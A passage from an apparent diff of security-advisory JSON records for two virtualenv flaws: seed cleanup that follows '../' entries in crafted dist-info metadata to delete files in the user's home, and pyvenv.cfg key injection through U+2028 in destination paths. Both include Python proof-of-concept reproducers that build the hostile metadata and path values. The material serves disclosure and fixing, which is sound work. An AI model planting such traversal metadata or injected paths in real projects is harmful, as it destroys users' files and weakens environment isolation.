20.8.1.\n[PR #3428](https://github.com/pypa/virtualenv/pull/3428) checks each deletion path against the resolved environment root\nand refuses to delete the root itself.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prepared .venv metadata\n participant V as App-data seeder\n participant P as site-packages\n participant H as User home\n A->>P: top_level.txt names ../../../../../Documents\n A->>P: RECORD names ../../../../../notes.txt\n V->>P: read pip-1.0.dist-info before reinstall\n P->>H: join entries without containment check\n V->>H: remove Documents and notes.txt\n V-->>A: virtualenv exits successfully\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-SXOEHWP7`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nwork = Path(\"/tmp/repro-seed-uninstall\")\nshutil.rmtree(work, ignore_errors=True)\nUSER_FILES = (\"Documents/thesis/chapter1.txt\", \"notes.txt\")\n\n\ndef make_home(name):\n home = work / name\n (home / \"Documents\" / \"thesis\").mkdir(parents=True)\n (home / \"Documents\" / \"thesis\" / \"chapter1.txt\").write_text(\"months of work\\n\")\n (home / \"notes.txt\").write_text(\"my notes\\n\")\n return home\n\n\ndef unpack_attacker_project(home, top_level_line, record_line):\n subprocess.run(\n [sys.executable, \"/tmp/repro.d/make_project_tree.py\", home / \"project\", top_level_line, record_line],\n check=True,\n )\n\n\ndef user_runs_virtualenv(home):\n # HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline\n result = subprocess.run(\n [\"virtualenv\", \"--no-periodic-update\", \".venv\"],\n cwd=home / \"project\",\n env={**os.environ, \"HOME\": str(home)},\n stdout=subprocess.PIPE,\n text=True,\n check=True,\n )\n print(result.stdout, end=\"\")\n\n\ndef files_left(home):\n return [f for f in USER_FILES if (home / f).exists()]\n\n\n# control: the project ships well-formed pip metadata\ncontrol_home = make_home(\"control\")\nunpack_attacker_project(control_home, \"pip\", \"pip/__init__.py,,\")\nuser_runs_virtualenv(control_home)\ncontrol_left = files_left(control_home)\nprint(f\"CONTROL user files still in ~ after virtualenv: {control_left}\")\n\n# attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five \"..\" is ~\nattack_home = make_home(\"attack\")\nunpack_attacker_project(attack_home, \"../../../../../Documents\", \"../../../../../notes.txt,,\")\nprint(f\"BEFORE user files in ~ before virtualenv: {files_left(attack_home)}\")\nuser_runs_virtualenv(attack_home)\nattack_left = files_left(attack_home)\nprint(f\"OBSERVED user files still in ~ after virtualenv: {attack_left}\")\n\n# check: creating an environment must never delete the user's files outside it\nprint(\"BUG\" if control_left == list(USER_FILES) and attack_left == [] else \"OK\")\n```\n\n**`repro.d/make_project_tree.py`**\n\n```text\n#!/usr/bin/env python3\nimport sys\nfrom pathlib import Path\n\nproject = Path(sys.argv[1])\ntop_level_line = sys.argv[2]\nrecord_line = sys.argv[3]\n\nproject.mkdir(parents=True)\n(project / \"README\").write_text(\"Set up with: virtualenv .venv\\n\")\n\n# a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim's Python is unknown\nfor minor in range(9, 16):\n dist_info = project / \".venv\" / \"lib\" / f\"python3.{minor}\" / \"site-packages\" / \"pip-1.0.dist-info\"\n dist_info.mkdir(parents=True)\n (dist_info / \"top_level.txt\").write_text(top_level_line + \"\\n\")\n (dist_info / \"RECORD\").write_text(record_line + \"\\n\")\n```\n\n## Impact\n\nSeed cleanup can delete files outside the environment or the environment root itself. The invoking user must have\ndeletion rights over those paths.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final\nlinks are removed without following their targets; parent links participate in containment checks.\n\nFix: [PR #3428](https://github.com/pypa/virtualenv/pull/3428).\n\n## Known mitigation\n\nRecreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-SXOEHWP7.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-hhxq-47xx-j5xx/GHSA-hhxq-47xx-j5xx.json"}}],"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-hhxq-47xx-j5xx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113719"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/pull/3428"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/e3cea6fa10a50fa29cf1fdddd772458fba076d5f"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"}],"database_specific":{"cwe_ids":["CWE-22"],"github_reviewed":true,"github_reviewed_at":"2026-10-23T22:19:15Z","nvd_published_at":"2026-10-20T20:17:18Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L"}]} \ No newline at end of file +{"schema_version":"1.9.0","id":"GHSA-hhxq-47xx-j5xx","published":"2026-10-23T22:19:15Z","modified":"2026-11-18T12:11:06.983073747Z","aliases":["BIT-virtualenv-2026-113719","CVE-2026-113719","PYSEC-2026-4378"],"summary":"virtualenv: Seed replacement does not contain metadata deletion paths","details":"## Summary\n\nThe app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths\nwithout checking containment within the environment.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-SXOEHWP7` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nRemoval of a previously installed seed package.\n\n## Attacker-controlled input\n\nAn environment being reused must contain distribution metadata influenced by another account. The invoking user must\nhave deletion rights over the paths named by that metadata. Installing a new environment without existing package\nmetadata does not enter this cleanup path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[seed uninstall](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py).\n\n## Mechanism\n\nBefore reinstalling a seed wheel, `PipInstall._uninstall_previous_version()` accepts an existing `pip-*.dist-info`\ndirectory in the destination. `_uninstall_dist()` reads its `top_level.txt` and `RECORD`, joins each entry to\n`site-packages`, and deletes the result. It does not check whether `..`, an absolute entry, or a linked parent takes the\npath outside the environment. The default app-data seeder reaches this path when it reuses a tree containing\nseed-package metadata; `--clear` removes that tree first.\n\n## Reproduction and evidence\n\nThe scanner prepared a project with `.venv/lib/python3.14/site-packages/pip-1.0.dist-info/`. Its `top_level.txt`\ncontained `../../../../../Documents`; its `RECORD` named `../../../../../notes.txt,,`. The user's home initially held\n`Documents/thesis/chapter1.txt` and `notes.txt`. Running `virtualenv .venv` exited successfully but removed both paths.\nA control tree with `top_level.txt` set to `pip` and a normal `pip/__init__.py` RECORD entry left the home files in\nplace. The reproducer prints `BUG` only when the control files survive and both attack targets disappear.\n\nThe deletion uses the invoking user's permissions and runs during creation, before any use of the environment. It\nrequires an existing destination that another account could populate; a fresh empty environment does not supply hostile\nmetadata. The report traces this cleanup to #2186, first released in 20.8.1.\n[PR #3428](https://github.com/pypa/virtualenv/pull/3428) checks each deletion path against the resolved environment root\nand refuses to delete the root itself.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prepared .venv metadata\n participant V as App-data seeder\n participant P as site-packages\n participant H as User home\n A->>P: top_level.txt names ../../../../../Documents\n A->>P: RECORD names ../../../../../notes.txt\n V->>P: read pip-1.0.dist-info before reinstall\n P->>H: join entries without containment check\n V->>H: remove Documents and notes.txt\n V-->>A: virtualenv exits successfully\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-SXOEHWP7`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nwork = Path(\"/tmp/repro-seed-uninstall\")\nshutil.rmtree(work, ignore_errors=True)\nUSER_FILES = (\"Documents/thesis/chapter1.txt\", \"notes.txt\")\n\n\ndef make_home(name):\n home = work / name\n (home / \"Documents\" / \"thesis\").mkdir(parents=True)\n (home / \"Documents\" / \"thesis\" / \"chapter1.txt\").write_text(\"months of work\\n\")\n (home / \"notes.txt\").write_text(\"my notes\\n\")\n return home\n\n\ndef unpack_attacker_project(home, top_level_line, record_line):\n subprocess.run(\n [sys.executable, \"/tmp/repro.d/make_project_tree.py\", home / \"project\", top_level_line, record_line],\n check=True,\n )\n\n\ndef user_runs_virtualenv(home):\n # HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline\n result = subprocess.run(\n [\"virtualenv\", \"--no-periodic-update\", \".venv\"],\n cwd=home / \"project\",\n env={**os.environ, \"HOME\": str(home)},\n stdout=subprocess.PIPE,\n text=True,\n check=True,\n )\n print(result.stdout, end=\"\")\n\n\ndef files_left(home):\n return [f for f in USER_FILES if (home / f).exists()]\n\n\n# control: the project ships well-formed pip metadata\ncontrol_home = make_home(\"control\")\nunpack_attacker_project(control_home, \"pip\", \"pip/__init__.py,,\")\nuser_runs_virtualenv(control_home)\ncontrol_left = files_left(control_home)\nprint(f\"CONTROL user files still in ~ after virtualenv: {control_left}\")\n\n# attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five \"..\" is ~\nattack_home = make_home(\"attack\")\nunpack_attacker_project(attack_home, \"../../../../../Documents\", \"../../../../../notes.txt,,\")\nprint(f\"BEFORE user files in ~ before virtualenv: {files_left(attack_home)}\")\nuser_runs_virtualenv(attack_home)\nattack_left = files_left(attack_home)\nprint(f\"OBSERVED user files still in ~ after virtualenv: {attack_left}\")\n\n# check: creating an environment must never delete the user's files outside it\nprint(\"BUG\" if control_left == list(USER_FILES) and attack_left == [] else \"OK\")\n```\n\n**`repro.d/make_project_tree.py`**\n\n```text\n#!/usr/bin/env python3\nimport sys\nfrom pathlib import Path\n\nproject = Path(sys.argv[1])\ntop_level_line = sys.argv[2]\nrecord_line = sys.argv[3]\n\nproject.mkdir(parents=True)\n(project / \"README\").write_text(\"Set up with: virtualenv .venv\\n\")\n\n# a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim's Python is unknown\nfor minor in range(9, 16):\n dist_info = project / \".venv\" / \"lib\" / f\"python3.{minor}\" / \"site-packages\" / \"pip-1.0.dist-info\"\n dist_info.mkdir(parents=True)\n (dist_info / \"top_level.txt\").write_text(top_level_line + \"\\n\")\n (dist_info / \"RECORD\").write_text(record_line + \"\\n\")\n```\n\n## Impact\n\nSeed cleanup can delete files outside the environment or the environment root itself. The invoking user must have\ndeletion rights over those paths.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final\nlinks are removed without following their targets; parent links participate in containment checks.\n\nFix: [PR #3428](https://github.com/pypa/virtualenv/pull/3428).\n\n## Known mitigation\n\nRecreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-SXOEHWP7.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-hhxq-47xx-j5xx/GHSA-hhxq-47xx-j5xx.json"}}],"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-hhxq-47xx-j5xx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113719"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/pull/3428"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/e3cea6fa10a50fa29cf1fdddd772458fba076d5f"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"}],"database_specific":{"cwe_ids":["CWE-22"],"github_reviewed":true,"github_reviewed_at":"2026-10-23T22:19:15Z","nvd_published_at":"2026-10-20T20:17:18Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L"}]} \ No newline at end of file diff --git a/data/PyPI/GHSA-qmx5-4p3x-wvqf.json b/data/PyPI/GHSA-qmx5-4p3x-wvqf.json index 5919434bcc..82f3e33f57 100644 --- a/data/PyPI/GHSA-qmx5-4p3x-wvqf.json +++ b/data/PyPI/GHSA-qmx5-4p3x-wvqf.json @@ -1 +1 @@ -{"schema_version":"1.9.0","id":"GHSA-qmx5-4p3x-wvqf","published":"2026-10-23T22:20:43Z","modified":"2026-10-29T10:55:39.718166145Z","aliases":["BIT-virtualenv-2026-113715","CVE-2026-113715"],"summary":"virtualenv: Venv configuration readback can reinterpret path boundaries","details":"## Summary\n\nThe venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over\nvirtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure\nbefore output sanitization.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-6ZQHJ6VI` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nConfiguration readback by the stdlib venv creator.\n\n## Attacker-controlled input\n\nAn untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a\ncharacter that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[venv readback](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/venv.py),\n[configuration parser](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py).\n\n## Mechanism\n\nWith `--creator venv`, virtualenv asks the standard library to create an environment, reads its `pyvenv.cfg` with\n`str.splitlines()`, and merges the parsed keys over virtualenv's chosen settings. CPython writes the destination into a\n`command =` value without escaping every character that `splitlines()` recognizes as a line boundary. A destination\ncontaining U+2028, for example, can therefore supply new `home` and `include-system-site-packages` keys during readback.\nVirtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.\n\n## Reproduction and evidence\n\nThe scanner used one destination value with U+2028 between `home = /attacker/chosen`,\n`include-system-site-packages = true`, and an absorbing `x =` key. A `python -m venv --without-pip` control kept the\nvalue inside its `command` line and reported the base interpreter's `sys._home`. `virtualenv --creator venv --no-seed`\non the same value wrote separate injected configuration lines and its interpreter reported\n`sys._home = /attacker/chosen`. The path did not require a literal newline byte. The control establishes that the extra\nkeys came from virtualenv's readback, not from the standard library's initial file alone.\n\nThe altered `home` can change which standard-library files the interpreter loads if an attacker also controls that\nlocation; `include-system-site-packages = true` weakens environment isolation. Choosing the venv creator is required,\neither explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in\n20.0.0b1. [PR #3426](https://github.com/pypa/virtualenv/pull/3426) rejects line-boundary characters before creation and\nrebuilds the final configuration from selected settings.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Destination supplier\n participant S as stdlib venv\n participant V as virtualenv readback\n participant C as Final pyvenv.cfg\n participant P as Environment Python\n A->>S: path contains U+2028 and home = /attacker/chosen\n S->>C: write path inside command value\n V->>C: read with splitlines()\n V->>V: parse suffix as separate keys\n V->>C: rewrite home and include-system-site-packages\n P->>C: read injected keys on startup\n C-->>P: sys._home changes and isolation is disabled\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-6ZQHJ6VI`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\n\nwork = \"/tmp/repro-venv-creator-cfg\"\nshutil.rmtree(work, ignore_errors=True)\n\n# the attacker's input: the text of a destination path.\n# U+2028 ends a line for str.splitlines() but not for CPython's own pyvenv.cfg reader.\n# The slashes only make nested directories; the last key, x, absorbs the rest of the path.\nLS = \"\\u2028\"\ndest = f\"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env\"\n\nbase_python = os.path.realpath(shutil.which(\"python\"))\nreal_home = os.path.dirname(base_python)\n\n\ndef pyvenv_cfg_lines(env):\n # split on \"\\n\" only, as the interpreter does\n return open(f\"{env}/pyvenv.cfg\", encoding=\"utf-8\").read().split(\"\\n\")\n\n\ndef sys_home(env):\n # site.py sets sys._home from the `home` key of the environment's pyvenv.cfg\n probe = [f\"{env}/bin/python\", \"-c\", \"import sys; print(sys._home)\"]\n return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()\n\n\n# control: the same path through the standard library alone\nstdlib_env = dest + \"-stdlib\"\nsubprocess.run([base_python, \"-m\", \"venv\", \"--without-pip\", stdlib_env], check=True)\n\n# attack: the same path through virtualenv; --creator venv is the one non-default option\nvirtualenv_env = dest + \"-virtualenv\"\ncreated = subprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", \"--no-seed\", \"--creator\", \"venv\", virtualenv_env])\nif created.returncode != 0: # refusing such a destination is a valid fix\n print(\"virtualenv refused the destination\")\n print(\"OK\")\n raise SystemExit\n\n# check\nstdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)\nvirtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)\n\nprint(\"CONTROL python -m venv wrote pyvenv.cfg:\")\nfor line in stdlib_cfg:\n print(\" \" + ascii(line))\nprint(f\"CONTROL python -m venv: sys._home = {stdlib_home}\")\nprint(\"OBSERVED virtualenv --creator venv wrote pyvenv.cfg:\")\nfor line in virtualenv_cfg:\n print(\" \" + ascii(line))\nprint(f\"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}\")\n\nkeys_injected = \"home = /attacker/chosen\" in virtualenv_cfg and \"include-system-site-packages = true\" in virtualenv_cfg\nprint(\"BUG\" if stdlib_home == real_home and keys_injected and virtualenv_home == \"/attacker/chosen\" else \"OK\")\n```\n\n## Impact\n\nDestination path data can change configuration boundaries and therefore environment settings. The effect depends on\nwhich settings change and how the environment is subsequently used.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved\npath again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv\noptions, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain\nsupported.\n\nFix: [PR #3426](https://github.com/pypa/virtualenv/pull/3426).\n\n## Known mitigation\n\nReject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-6ZQHJ6VI.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4